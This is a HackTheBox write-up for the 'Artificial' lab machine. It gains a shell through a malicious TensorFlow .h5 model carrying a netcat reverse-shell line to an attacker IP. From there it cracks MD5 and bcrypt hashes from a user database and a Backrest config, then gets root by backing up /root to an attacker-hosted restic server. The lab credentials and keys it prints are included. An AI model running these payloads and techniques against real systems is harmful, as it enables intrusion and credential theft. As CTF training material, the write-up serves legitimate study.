- Published on
HackTheBox - Easy - Linux - Artificial
- AUTHORS

- NAME
- Yasir Mehmood

The challenge began with an AI-focused website that allowed users to upload TensorFlow models. A flaw in how the platform processes modeled files provided an initial point of system access. From there, credentials stored in the database allowed movement to another user account. That account had local access to a Backrest instance, where reviewing its configuration and recovering a stored credentials enabled further progress. Ultimately, several methods were demonstrated to escalate privileges to root through the application’s functionality.
| Machine Name | IP-Address | Dificulty | Machine Domain |
|---|---|---|---|
| Artificial | 10.10.11.74 | Easy | artificial.htb |
Enumeration
- The tester performed an initial Nmap Scan and got the following results:
┌──(kali@kali)-[~/HTB/Artificial]
└─$ nmap -sC -sV 10.10.11.74
# Nmap 7.95 scan initiated Fri Jun 27 16:32:06 2025 as: /usr/lib/nmap/nmap -sC -sV 10.10.11.74
Nmap scan report for 10.10.11.74
Host is up (0.086s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
8089/tcp open http SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 27 16:32:16 2025 -- 1 IP address (1 host up) scanned in 10.08 seconds
- The tester then added the IP-Address to the
/etc/hostsfile on the attacker system.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ echo "10.10.11.74 artificial.htb" >> /etc/hosts
10.10.11.74 artificial.htb
Initial Access
- After enumeration of the site, It was found that the webpage allows us to run AI models by uploading a
.h5file.

- The website also contained a
dockerfile. Which after reading, revealed to usetensorflow-cputo runs Models. - The version of the Tensorflow CPU library used in the backed-end docker container was
vulnerableto a CVE. - Attacker could gain Remote Code Execution (RCE) on server if a malicious model was uploaded and run on server.
- This TensorFlow deserialization vulnerability lets the user run arbitrary Python code as web server user.
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
- The tester found an Proof-of-Concept (PoC) exploit for the tensorflow version on this repository of Github.
- This exploit was then modified further to change the simple reverse shell payload to
mkfifoone. - The tester then registered a user on the website and Downloaded the
Dockerfileto generate and use the exploit. - Building container made it easier to create the exploit as the specific version was required to build the
.h5model.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ git clone https://github.com/Splinter0/tensorflow-rce.git
┌──(kali@kali)-[~/HTB/Artificial]
└─$ nano tensorflow-rce/exploit.py
- Inside the
exploit.py, the tester changed the IP-Address and Port in the following line.
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 1234 >/tmp/f")
- Inside the
Dockerfile, the tester added thenetcatpackage for installation in the container.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ nano Dockerfile
apt-get install -y curl netcat-openbsd && \
- The tester then started to build and run the Dockerfile with mounted
tensorflow-rcedirectory.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ docker build -t tf-rce tensorflow-rce/
┌──(kali@kali)-[~/HTB/Artificial]
└─$ docker run -it --rm -v ./tensorflow-rce:/work tf-rce
- Tester then started a
netcatreverse shell listener on the attacker host for the Initial Access.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ rlwrap nc -nvlp 1234
- Inside the container, the tester created the malicious model using the
exploit.pyscript.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ python3 exploit.py

- Tester then uploaded the
exploit.h5model insidehttp://artificial.htb/dashboardwith the registered user.

- Tester then started a
nclistener and clicked View Predictions on the uploaded model to receive a reverse shell.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.74] 56386
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(app) gid=1001(app) groups=1001(app)
$ ls -lah /home
total 16K
drwxr-xr-x 4 root root 4.0K Jun 18 13:19 .
drwxr-xr-x 19 root root 4.0K Jun 25 19:50 ..
drwxr-x--- 6 app app 4.0K Jun 9 10:52 app
drwxr-x--- 4 gael gael 4.0K Jun 9 08:53 gael
- The tester then upgraded the Unstable shell into a More Stable and Interactive TTY Shell using
python3.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
# Press CTRL+Z to send the Process in Background.
stty raw -echo; fg
- The tester then started to review the Code for the
app.pyfile found in the~/appdirectory of theappuser.
# app@artificial:~/app$ cat ~/app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, flash
from flask_sqlalchemy import SQLAlchemy
from werkzeug.utils import secure_filename
import os
import tensorflow as tf
import hashlib
import uuid
import numpy as np
import io
from contextlib import redirect_stdout
import hashlib
app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'
db = SQLAlchemy(app)
MODEL_FOLDER = 'models'
os.makedirs(MODEL_FOLDER, exist_ok=True)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(100), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(200), nullable=False)
models = db.relationship('Model', backref='owner', lazy=True)
class Model(db.Model):
id = db.Column(db.String(36), primary_key=True)
filename = db.Column(db.String(120), nullable=False)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'h5'
def hash(password):
password = password.encode()
hash = hashlib.md5(password).hexdigest()
return hash
@app.route('/')
def index():
if ('user_id' in session):
username = session['username']
if (User.query.filter_by(username=username).first()):
return redirect(url_for('dashboard'))
return render_template('index.html')
@app.route('/static/requirements.txt')
def download_txt():
try:
pdf_path = './static/requirements.txt' # Adjust path as needed
return send_file(
pdf_path,
as_attachment=True,
download_name='requirements.txt', # Name for downloaded file
mimetype='application/text'
)
except FileNotFoundError:
return "requirements file not found", 404
@app.route('/static/Dockerfile')
def download_dockerfile():
try:
pdf_path = './static/Dockerfile' # Adjust path as needed
return send_file(
pdf_path,
as_attachment=True,
download_name='Dockerfile', # Name for downloaded file
mimetype='application/text'
)
except FileNotFoundError:
return "Dockerfile file not found", 404
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
email = request.form['email']
password = request.form['password']
hashed_password = hash(password)
existing_user = User.query.filter((User.username == username) | (User.email == email)).first()
if existing_user:
flash('Username or email already exists. Please choose another.', 'error')
return render_template('register.html')
new_user = User(username=username, email=email, password=hashed_password)
try:
db.session.add(new_user)
db.session.commit()
return redirect(url_for('login'))
except Exception as e:
db.session.rollback()
flash('An error occurred. Please try again.', 'error')
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
email = request.form['email']
password = request.form['password']
user = User.query.filter_by(email=email).first()
if user and user.password == hash(password):
session['user_id'] = user.id
session['username'] = user.username
return redirect(url_for('dashboard'))
else:
pass
return render_template('login.html')
@app.route('/dashboard')
def dashboard():
if ('user_id' in session):
username = session['username']
if not (User.query.filter_by(username=username).first()):
return redirect(url_for('login'))
else:
return redirect(url_for('login'))
user_models = Model.query.filter_by(user_id=session['user_id']).all()
return render_template('dashboard.html', models=user_models, username=username)
@app.route('/upload_model', methods=['POST'])
def upload_model():
if ('user_id' in session):
username = session['username']
if not (User.query.filter_by(username=username).first()):
return redirect(url_for('login'))
else:
return redirect(url_for('login'))
if 'model_file' not in request.files:
return redirect(url_for('dashboard'))
file = request.files['model_file']
if file.filename == '':
return redirect(url_for('dashboard'))
if file and allowed_file(file.filename):
model_id = str(uuid.uuid4())
filename = f"{model_id}.h5"
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
try:
file.save(file_path)
new_model = Model(id=model_id, filename=filename, user_id=session['user_id'])
db.session.add(new_model)
db.session.commit()
except Exception as e:
if os.path.exists(file_path):
os.remove(file_path)
else:
pass
return redirect(url_for('dashboard'))
@app.route('/delete_model/<model_id>', methods=['GET'])
def delete_model(model_id):
if ('user_id' in session):
username = session['username']
if not (User.query.filter_by(username=username).first()):
return redirect(url_for('login'))
else:
return redirect(url_for('login'))
model = Model.query.filter_by(id=model_id, user_id=session['user_id']).first()
if model:
file_path = os.path.join(app.config['UPLOAD_FOLDER'], model.filename)
if os.path.exists(file_path):
os.remove(file_path)
db.session.delete(model)
db.session.commit()
else:
pass
return redirect(url_for('dashboard'))
@app.route('/run_model/<model_id>')
def run_model(model_id):
if ('user_id' in session):
username = session['username']
if not (User.query.filter_by(username=username).first()):
return redirect(url_for('login'))
else:
return redirect(url_for('login'))
model_path = os.path.join(app.config['UPLOAD_FOLDER'], f'{model_id}.h5')
if not os.path.exists(model_path):
return redirect(url_for('dashboard'))
try:
model = tf.keras.models.load_model(model_path)
hours = np.arange(0, 24 * 7).reshape(-1, 1)
predictions = model.predict(hours)
days_of_week = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"]
daily_predictions = {f"{days_of_week[i // 24]} - Hour {i % 24}": round(predictions[i][0], 2) for i in range(len(predictions))}
max_day = max(daily_predictions, key=daily_predictions.get)
max_prediction = daily_predictions[max_day]
model_summary = []
model.summary(print_fn=lambda x: model_summary.append(x))
model_summary = "\n".join(model_summary)
return render_template(
'run_model.html',
model_summary=model_summary,
daily_predictions=daily_predictions,
max_day=max_day,
max_prediction=max_prediction
)
except Exception as e:
print(e)
return redirect(url_for('dashboard'))
@app.route('/logout')
def logout():
session.pop('user_id', None)
session.pop('username', None)
return redirect(url_for('index'))
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='127.0.0.1')
- As it can seen in the above codeblock. There was secret key hardcoded in the source i.e. the
app.secret_key. - The tester found out the Code is using a Weak Password Hashing Algorithm i.e. Message Digest 5 (MD5) Algorithm.
- The MD5 algorithm for password hashing is insecure and with no salting, it can be brute-forced easily.
Lateral Movement
- Tester then decided to dump the
users.dbSQLite file and crack MD5 hashes for all the users found in Database.
app@artificial:~$ find / -type f -name "users.db" 2>/dev/null
/home/app/app/instance/users.db
app@artificial:~$ file /home/app/app/instance/users.db
/home/app/app/instance/users.db: SQLite 3.x database, last written using SQLite version 3031001
- After copying the
users.dbfile over to the Attacker Machine, tester started to examine the file usingsqlite3.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ sqlite3 users.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
model user
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|qwsa|qwsa@qwsa.com|d8578edf8458ce06fbc5bb76a58c5ca4
7|abc|a@b.c|900150983cd24fb0d6963f7d28e17f72
8|admin|admin@test.com|5f4dcc3b5aa765d61d8327deb882cf99
9|test|test@test.com|098f6bcd4621d373cade4e832627b4f6
10|kali|test@kali.test|5f4dcc3b5aa765d61d8327deb882cf99
- The tester then extracted all the MD5 hashes a text file in the
user:hash(key:value) format. - The tester then used the
John the Ripper (JtR)to cract theRaw-MD5hashes against therockyou.txtwordlist.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
<.... SNIPPING OUT THE OUTPUT BECAUSE I FORGOT TO SAVE IT FOR WRITEUP 🙂 ....>
┌──(kali@kali)-[~/HTB/Artificial]
└─$ john --show --format=raw-md5 hashes.txt
gael:mattp005numbertwo
royer:marwinnarak043414036
qwsa:qwerty
abc:abc
admin:password
test:test
- After successfully Cracking majority of the Captured Hashes, tester then used
suto switch to thegaeluser.
app@artificial:~$ su - gael
Password:
gael@artificial:~$
gael@artificial:~$ ls -lah
total 32K
drwxr-x--- 4 gael gael 4.0K Jun 9 08:53 .
drwxr-xr-x 4 root root 4.0K Jun 18 13:19 ..
lrwxrwxrwx 1 root root 9 Oct 19 2024 .bash_history -> /dev/null
-rw-r--r-- 1 gael gael 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 gael gael 3.7K Feb 25 2020 .bashrc
drwx------ 2 gael gael 4.0K Sep 7 2024 .cache
-rw-r--r-- 1 gael gael 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 Oct 19 2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Oct 19 2024 .sqlite_history -> /dev/null
drwx------ 2 gael gael 4.0K Sep 7 2024 .ssh
-rw-r----- 1 root gael 33 Jun 25 19:26 user.txt
- After successfully getting the Shell Access as the
gaeluser, tester started to perform some enumeration. - During the enumeration, the tester found a backup file for the
backresetis owned by thesysadmGroup.
gael@artificial:~$ groups
gael sysadm
gael@artificial:~$ find / -group sysadm 2>/dev/null
/var/backups/backrest_backup.tar.gz
gael@artificial:~$ ls -l /var/backups/backrest_backup.tar.gz
-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 /var/backups/backrest_backup.tar.gz
Privilege Escalation
- The tester then copied the
backrest_backup.tar.gzfile over to the Attacker Machine and extracted its contents.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ tar -xvf backrest_backup.tar.gz
┌──(kali@kali)-[~/HTB/Artificial/backrest]
└─$ cd backrest
┌──(kali@kali)-[~/HTB/Artificial/backrest]
└─$ ls -lah
Permissions Size User Date Modified Name
drwxr-xr-x - kali 3 Mar 23:27 .config
drwxr-xr-x - kali 3 Mar 23:18 processlogs
drwxr-xr-x - kali 5 Mar 00:17 tasklogs
.rwxr-xr-x 26M kali 16 Feb 21:38 backrest
.rwxr-xr-x 3.0k kali 3 Mar 06:28 install.sh
.rw------- 64 kali 3 Mar 23:18 jwt-secret
.rw-r--r-- 57k kali 5 Mar 00:13 oplog.sqlite
.rw-r--r-- 33k kali 5 Mar 00:17 oplog.sqlite-shm
.rw-r--r-- 0 kali 5 Mar 00:17 oplog.sqlite-wal
.rw------- 0 kali 3 Mar 23:18 oplog.sqlite.lock
.rwxr-xr-x 27M kali 3 Mar 06:28 restic
- Curious about the hidden
.configfile, the tester started examining its content, Which revealed hashed Credentials
┌──(kali@kali)-[~/HTB/Artificial/backrest]
└─$ cat .config/backrest/config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
┌──(kali@kali)-[~/HTB/Artificial/backrest]
└─$ echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
- The tester then used the
John the Ripper (JtR)tool again to crack the bcrypt hash value.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt backrest_root.hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^ (?)
1g 0:00:00:38 DONE (2025-11-14 22:27) 0.02621g/s 141.5p/s 141.5c/s 141.5C/s lightbulb..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Port Forwarding
- The tester then created a secure tunnel between Kali port
9898and127.0.0.1:9898on remote machine. - This was done to expose the remote Backrest API service locally on the Attacker Machine.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ ssh -L 9898:127.0.0.1:9898 gael@artificial.htb
password:
gael@artificial:~$
- Tester opened the
http://localhost:9898/link in the browser and usedbackrest_root:!@#$%^credentials to login. - On Kali, the tester hosted a Restic Server , to receive backups over
HTTPfrom the remote Backrest.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ go install github.com/restic/rest-server/cmd/rest-server@latest
┌──(kali@kali)-[~/HTB/Artificial]
└─$ mkdir -p /tmp/restic
┌──(kali@kali)-[~/HTB/Artificial]
└─$ rest-server --path /tmp/restic --listen :4444 --no-auth
- The tester then added a new Restic Repository using Add a Repo in the BackRest API.

- The tester then received the following output on the rest-server hosted on the Attacker Machine.
Creating repository directories in /tmp/restic
- The tester then added a new Plan using Add a Plan in the BackRest API.

- Tester then decided to run the Backup Plan manually which created a snapshot on Attacker Hosted Restic Server.
- Tester then immediately restored the backup snapshot to be able to read all the files on the Target system.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ sudo apt install restic
┌──(kali@kali)-[~/HTB/Artificial]
└─$ restic snapshots -r /tmp/restic/
enter password for repository:
repository 921dda5a opened (version 2, compression level auto)
created new cache in /home/kali/.cache/restic
ID Time Host Tags Paths Size
--------------------------------------------------------------------------------------------
af0fc73c 2025-06-28 02:49:28 artificial plan:root,created-by:Artificial /root 4.299 MiB
--------------------------------------------------------------------------------------------
1 snapshots
┌──(kali@kali)-[~/HTB/Artificial]
└─$ mkdir /tmp/restored
restic restore -r /tmp/restic/ af0fc73c --target /tmp/restored
- Using the newly found Backup Access, the tester was able to read the SSH key was the
rootuser. - Which the tester then used to get Shell access as root using the SSH private key of the user.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ mv /tmp/restored/root $HOME/HTB/Artificial/
┌──(kali@kali)-[~/HTB/Artificial]
└─$ cd $HOME/HTB/Artificial/root/.ssh
┌──(kali@kali)-[~/HTB/Artificial/root/.ssh]
└─$ ssh -i id_rsa root@10.10.11.74
root@artificial:~# id
uid=0(root) gid=0(root) groups=0(root)
- The Artificial Machine on HackTheBox is now complete.
